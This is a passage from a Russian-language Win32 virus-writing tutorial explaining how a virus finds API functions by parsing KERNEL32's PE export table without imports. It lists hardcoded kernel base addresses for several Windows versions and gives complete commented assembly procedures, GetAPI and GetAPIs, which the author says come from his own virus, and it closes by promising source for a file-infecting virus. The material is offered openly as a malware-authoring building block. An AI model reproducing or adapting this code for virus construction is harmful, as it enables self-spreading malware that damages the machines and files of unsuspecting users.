Путеводитель по написанию вирусов под Win32

Получить эти сумасшедшие функции API


Ring-3, как я уже говорил, это уровень пользователя, поэтому нам доступны только его немногие возможности. Мы не можем использовать порты, читать или писать в определенные области памяти и так далее. Micro$oft основывала свои утверждения, сделанные при разработке Win95 (которая, похоже, наименее всего соответствует утверждению, что "Win32-платформы не могут быть подвергнуты заражению"), на том, что если они перекроют доступ ко всему, что обычно используют вирусы, они смогут победить нас. В их мечтах. Они думали, что мы не сможем использовать их API, и более того, они не могли представить, что мы попадем в Ring-0, но это уже другая история.

Ладно, как было сказано ранее, у нас есть объявленное как внешнее имя функции API, поэтому import32.lib даст нам адрес функции и это будет правильным образом скомпилировано в код, но у нас появятся проблемы при написании вирусов. Если мы будем ссылаться на фиксированные смещения этих функций, то очень вероятно, что этот адрес не будет работать в следующей версии Win32. Вы можете найти пример в Bizatch. Что нам нужно сделать? У нас есть функция под названием GetProcAddress, которая возвращает адрес нужной нам API-функции. Вы можете заметить, что GetProcAddress тоже функция API, как же мы можем использовать ее? У нас есть несколько путей сделать это, и я покажу вам два самых лучших (на мой взгляд) из них:

1. Поиск GetProcessAddress в таблице экспортов.
2. В зараженном файле ищем среди импортированных функций GetProcAddress.

Самый простой путь - первый, который я первым и объясню :). Сначала немного теории, а потом код.

Если вы взглянете на формат заголовка PE, то увидите, что по смещению 78h (заголовка PE, а не файла) находится RVA (относительный виртуальный адрес) таблицы экспортов. Ок, нам нужно получить адрес экспортов ядра. В Windows 95/98 этот адрес равен 0BFF70000h, а в Windows NT оно равно 077F00000h. В Win2k у нас будет адрес 077E00000h. Поэтому сначала мы должны загрузить адрес таблицы в регистр, который будем использовать как указатель. Я настоятельно рекомендую ESI, потому что тогда мы можем использовать LODSD.


Мы проверяем, находится ли в начале слова "MZ" (ладно-ладно, "ZM", черт побери эту интеловскую архитектуру процессора :) ), потому что ядро - это библиотека (.DLL), а у них тоже есть PE-заголовок, и как мы могли видеть ранее, часть его служить для совместимости с DOS. После данного сравнения давайте проверим, действительноли это PE, поэтому мы смотрим ячейку памяти по смещению адрес_базы+[3Ch] (смещение, откуда начинается ядро + адрес, который находится по смещению 3Ch в PE-заголовке) и сравниваем с "PE\0\0" (сигнатурой PE).

Если все хорошо, тогда идем дальше. Нам нужен RVA таблицы экспортов. Как вы можете видеть, он находится по смещению 78h в заголовке PE - вот мы его и получили. Но как вы знаете, RVA (относительный виртуальный адрес), согласно своему имени, относительно определенного смещения, в данном случае - базы образа ядра. Все очень просто: просто добавьте смещение ядра к найденному значению. Хорошо. Теперь мы находимся в таблице экспорта :).

Давайте посмотрим ее формат:



Для нас важны последние 6 полей. Значения RVA таблицы адресов, указателей на имена и ординалов являются относительными к базе KERNEL32, как вы можете предположить. Поэтому первый шаг, который мы должны предпринять для получения адреса API, - это узнать позицию его позицию в таблице. Мы сделаем пробег по таблице указателей на имена и будем сравнивать строки, пока не произойдет совпадения с именем нужной нам функции. Размер счетчика, который мы будем использовать, должен быть больше байта.

Обратите внимание: я предполагаю, что в вы сохраняете в соответствующих переменных VA (RVA + адрес базы образа) таблиц адресов, имен и ординалов.

Ок, представьте, что мы получили имя функции API, которое нам было нужно, поэтому в счетчике у нас будет ее позиция в таблице указателей на имена. Ладно, теперь последует самая сложная часть для начинающих в программировании под Win32. У нас есть счетчик и теперь нам нужно найти в таблице ординалов API, адрес которого мы хотим получить. Поскольку у нас есть номер позиции функции, мы умножаем его на 2 (таблица ординалов состоит из слов) и прибавляем полученный результат к адресу таблицы ординалов. Нижеследующая формула кратко резюмирует вышесказанное:



Местонахождение функции API: (счетчик * 2) + VA таблицы ординалов

Просто, не правда ли? Ладно, следующий шаг (и последний) заключается в том, чтобы получить адрес API-функции из таблицы адресов. У нас уже есть ординал функции. С его помощью наша жизнь изрядно упрощается. Мы просто должны умножить ординал на 4 (так как массив адресов формируется из двойных слов, а размер двойного слова равен 4) и добавляем его к смещению начала адреса таблицы адресов, который мы получили ране. Хехе, теперь у нас есть RVA адрес API-функции. Теперь мы должны нормализировать его, добавить смещение ядра и все! Мы получили его!!! Давайте посмотрим на простую математическую формулу:

Адрес API-функции: (Ординал функции*4)+VA таблицы адресов+база KERNEL32



[...] В этих таблицах больше элементов, но в качестве примера этого вполне достаточно...

Я надеюсь, что вы поняли мои объяснения. Я пытаюсь объяснить так просто, как это возможно, если вы не поняли их, то не читайте дальше, а перечитайте снова. Будьте терпеливы. Я уверен, что вы все поймете. Хмм, может вам нужно сейчас немного кода, чтобы увидеть это в действии. Вот мои процедуры, которые я использовал, например, в моем вирусе Iced Earth.

;---[ CUT HERE ]------------------------------------------------------------- ; ; Процедуры GetAPI и GetAPIs ; --------------------------- ; ; Это мои процедуры, необходимые для нахождения всех требуемых функций API... ; Они поделены на 2 части. Процедура GetAPI получает только ту функцию, ; которую мы ей указываем, а GetAPIs ищет все необходимые вирусу функции.

GetAPI proc

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Ладно, поехали. Параметры, которые требуются функции и возвращаемые ; ; значения следующие: ; ; ; ; НА ВХОДЕ . ESI : Указатель на имя функции (чувствительна к регистру) ; ; НА ВЫХОДЕ . EAX : Адрес функции API ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

mov edx,esi ; Сохраняем указатель на имя @_1: cmp byte ptr [esi],0 ; Конец строки? jz @_2 ; Да, все в порядке. inc esi ; Нет, продолжаем поиск jmp @_1 @_2: inc esi ; хех, не забудьте об этом sub esi,edx ; ESI = размер имени функции mov ecx,esi ; ECX = ESI :)



;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Так-так-так, мои дорогие ученики. Это очень просто для понимания. У нас ; ; есть указатель на начало имени функции API. Давайте представим, что мы ; ; ищем FindFirstFileA: ; ; ; ; FFFA db "FindFirstFileA",0 ; ; L- указатель здесь ; ; ; ; И нам нужно сохранить этот указатель, чтобы узнать имя функции API, ; ; поэтому мы сохраняем изначальный указатель на имя функции API в регистре,; ; например EDX, который мы не будем использовать, а затем повышаем значение; ; указателя в ESI, пока [ESI] не станет равным 0. ; ; ; ; FFFA db "FindFirstFileA",0 ; ; L- Указатель теперь здеcь ; ; ; ; Теперь, вычитая старый указатель от нового указателя, мы получаем размер ; ; имени API-функции, который требуется поисковому движку. Затем я сохраняю ; ; значение в ECX, другом регистре, который не будет использоваться для ; ; чего-либо еще. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

xor eax,eax ; EAX = 0 mov word ptr [ebp+Counter],ax ; Устанавливаем счетчик в 0



mov esi,[ebp+kernel] ; Получаем смещение ; PE-заголовка KERNEL32 add esi,3Ch lodsw ; в AX add eax,[ebp+kernel] ; Нормализуем его

mov esi,[eax+78h] ; Получаем RVA таблицы ; экспортов add esi,[ebp+kernel] ; Указатель на RVA таблицы ; адресов add esi,1Ch

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Ладно, сначала мы очищаем EAX, а затем устанавливаем счетчик в 0, чтобы ; ; избежать возможных ошибок. Если вы помните, для чего служит смещение 3Ch ; ; в PE-файле (отсчитывая с образа базы, метки MZ), вы поймете все это. Мы ; ; запрашиваем начало смещение начала PE-заголовка KERNEL32. Так как это ; ; RVA, мы нормализуем его и вуаля, у нас есть смещение PE-заголовка. Теперь; ; мы получаем адрес таблицы экспортов (в заголовке PE+78h), после чего мы ; ; избегаем нежеланных данных структуры и напрямую получаем RVA таблицы ; ; адресов. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;



lodsd ; EAX = RVA таблицы адресов add eax,[ebp+kernel] ; Нормализуем mov dword ptr [ebp+AddressTableVA],eax ; Сохраняем его в форме VA

lodsd ; EAX = Name Ptrz Table RVA add eax,[ebp+kernel] ; Normalize push eax ; mov [ebp+NameTableVA],eax

lodsd ; EAX = Ordinal Table RVA add eax,[ebp+kernel] ; Normalize mov dword ptr [ebp+OrdinalTableVA],eax ; Store in VA form

pop esi ; ESI = Name Ptrz Table VA

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Если вы помните, у нас в ESI указатель на RVA таблицу адресов, поэтому ; ; чтобы получить этот адрес мы делаем LODSD, который помещает DWORD, на ; ; который указывает ESI, в приемник (в данном случае EAX). Так как это был ; ; RVA, мы нормализуем его. ; ; ; ; Давайте посмотрим, что говорит Мэтт Питрек о первом поле: ; ; ; ; "Это поле является RVA и указывает на массив адресов функций, каждый ; ; элемент которого является RVA одной из экспортируемых функций в данном ; ; модуле." ; ; ; ; И наконец, мы сохраняем его в соответствующей переменной. Далее мы ; ; должны узнать адрес таблицы указателей на имена. Мэтт Питрек объясняет ; ; это следующим образом: ; ; ; ; "Это поле - RVA и указывает на массив указателей на строки. Строки ; ; являются именами экспортируемых данным модулем функций". ; ; ; ; Но я не сохраняю его в переменной, а помещаю в стек, так как использую ; ; его очень скоро. Ок, наконец мы переходим к таблице ординалов, вот что ; ; говорит об этом Мэтт Питрек: ; ; ; ; "Это поле - RVA и оно указывает на массив WORDов. WORD'ы являются ; ; ординалами всех экспортируемых функций в данном модуле". ; ; ; ; Ок, это то, что мы сделали. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

@_3: push esi ; Save ESI for l8r restore lodsd ; Get value ptr ESI in EAX add eax,[ebp+kernel] ; Normalize mov esi,eax ; ESI = VA of API name mov edi,edx ; EDI = ptr to wanted API push ecx ; ECX = API size cld ; Clear direction flag rep cmpsb ; Compare both API names pop ecx ; Restore ECX jz @_4 ; Jump if APIs are 100% equal pop esi ; Restore ESI add esi,4 ; And get next value of array inc word ptr [ebp+Counter] ; Increase counter jmp @_3 ; Loop again



;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Хех, это не в моем стиле помещать слишком много кода без комментариев, ; ; как я поступил только что, но этот блок кода нельзя разделить без ущерба ; ; для его объяснения. Сначала мы помещаем ESI в стек (который будет ; ; изменен инструкцией CMPSB) для последующего восстановления. После этого ; ; мы получаем DWORD, на который указывает ESI (таблица указателей на ; ; имена) в приемник (EAX). Все это выполняется с помощью инструкции LODSD. ; ; Мы нормализуем ее, добавляя адрес базы ядра. Хорошо, теперь у нас в EAX ; ; находится указатель на имя одной из функций API, но мы еще не знаем, что ; ; это за функция. Например EAX может указывать на что-нибудь вроде ; ; "CreateProcessA" и это функция для нашего вируса неинтересна... Ладно, ; ; для сравния строки с той, которая нам нужна (на нее указывает EDX), у ; ; нас есть CMPSB. Поэтому мы подготавливаем ее параметры: в ESI мы ; ; помещаем указатель на начало сравниваемого имени функции, а в EDI - ; ; нужно нам имя. В ECX мы помещаем ее размер, а затем выполняем побайтовое ; ; сравнение. Если обе строки совпадают друг с другом, устанавливается ; ; флаг нуля и мы переходим к процедуры получения адреса этой API-функции. ; ; В противном случае мы восстанавливаем ESI и добавляем к нему размер ; ; DWORD, чтобы получить следующее значение в таблице указателей на имена. ; ; Мы повышаем значение счетчика (ОЧЕНЬ ВАЖНО) и продолжаем поиск. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

@_4: pop esi ; Avoid shit in stack movzx eax,word ptr [ebp+Counter] ; Get in AX the counter shl eax,1 ; EAX = AX * 2 add eax,dword ptr [ebp+OrdinalTableVA] ; Normalize xor esi,esi ; Clear ESI xchg eax,esi ; EAX = 0, ESI = ptr to Ord lodsw ; Get Ordinal in AX shl eax,2 ; EAX = AX * 4 add eax,dword ptr [ebp+AddressTableVA] ; Normalize mov esi,eax ; ESI = ptr to Address RVA lodsd ; EAX = Address RVA add eax,[ebp+kernel] ; Normalize and all is done. ret



;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Пффф, еще один огромный блок кода и, похоже, не очень понятный, так ; ; ведь? Не беспокойтесь, я прокомментирую его ;). ; ; Pop служит для очищения стека. Затем мы двигаем в нижнюю часть EAX ; ; значение счетчика (так как это WORD) и обнуляет верхнюю вышеупомянутого ; ; регистра. Мы умножаем его на два, так как массив, в котором мы будем ; ; проводить поиск состоит из WORD'ов. Теперь мы добавляем к нему указатель ; ; на начало массива, где мы хотим искать. Поэтому мы помещаем EAX в ESI, ; ; чтобы использовать этот указатель для получения значения, на которое он ; ; указывает, с помощью просто LODSW. Хех, теперь у нас есть ординал, но то,; ; что мы хотим получить - это точка входа в код функции API, поэтому мы ; ; умножаем ординал (который содержит позицию точки входа желаемой функции) ; ; на 4 (это размер DWORD), и у нас теперь есть значение RVA относительно ; ; RVA таблицы адресов, поэтому мы производим нормализацию, а теперь в EAX ; ; у нас находится указатель на значение точки входа функции API в таблице ; ; адресов. Мы помещаем EAX в ESO и получаем значение, на которое указывает ; ; EAX. Таким образом в этом регистре находится RVA точки входа требуемой ; ; API-функции. Хех, сейчас мы должны нормализовать этот адрес относительно ; ; базы образа KERNEL32 и вуаля - все сделано, у нас в EAX есть настоящий ; ; реальный адрес функции! ;) ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

GetAPI endp

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

GetAPIs proc

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Ок, это код для получения всех API-функций. У данной функции следующие ; ; параметры: ; ; ; ; INPUT . ESI : Указатель на имя первой желаемой API-функции в формате ; ; ASCIIz ; ; . EDI : Указатель на переменную, которая содержит первую желаемую ; ; API-функцию ; ; OUTPUT . Ничего ; ; ; ; Для получения всех этих значений я буду использовать следующую структуру:; ; ; ; ESI указывает на --. db "FindFirstFileA",0 ; ; db "FindNextFileA",0 ; ; db "CloseHandle",0 ; ; [...] ; ; db 0BBh ; Отмечает конец массива ; ; ; ; EDI указывает на --. dd 00000000h ; Будущий адрес FFFA ; ; dd 00000000h ; Будущий адрес FNFA ; ; dd 00000000h ; Будущий адрес CH ; ; [...] ; ; ; ; Я надеюсь, что вы достаточно умны и поняли, о чем я говорю. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;



@@1: push esi push edi call GetAPI pop edi pop esi stosd

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Мы помещаем обрабатываемые значения в стек, чтобы избежать их возможного ; ; изменения, а затем вызываем процедуру GetAPI. Здесь мы предполагаем, что ; ; ESI указывает на имя требуемой API-функции, а EDI - это указатель на ; ; переменную, которая будет содержать имя API-функции. Так как мы получаем ; ; смещение API-функции в EAX, мы сохраняем его значение в соответствующей ; ; переменной, на которую указывае EDI с помощью STOSD. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

@@2: cmp byte ptr [esi],0 jz @@3 inc esi jmp @@2 @@3: cmp byte ptr [esi+1],0BBh jz @@4 inc esi jmp @@1 @@4: ret GetAPIs endp

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Я знаю, это можно было сделать гораздо более оптимизированно, но вполне ; ; годиться в качестве примена. Ладно, сначала мы доходим до конца строки, ; ; чей адрес мы запрашивали ранее, и теперь она указывает на следующую ; ; API-функцию. Но нам нужно узнать, где находится последняя из них, ; ; поэтому мы проверяем, не найден ли байт 0BBh (наша метка конца массива). ; ; Если это так, мы получили все необходимые API-функции, а если нет, ; ; продолжаем поиск. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

;---[ CUT HERE ]-------------------------------------------------------------

Хех, я сделал эти процедуру как можно проще и хорошенько их откомментировал, поэтому я ожидаю, что вы поняли суть. Если нет, то это не мои проблемы... Но теперь появляется вопрос, какие функции нам следует искать? Ниже я приведу исходный код рантаймового (времени выполнения) вируса, который использует технику файлового мэппинга (более простой и быстрый путь манипуляций и заражения файлов).


Содержание раздела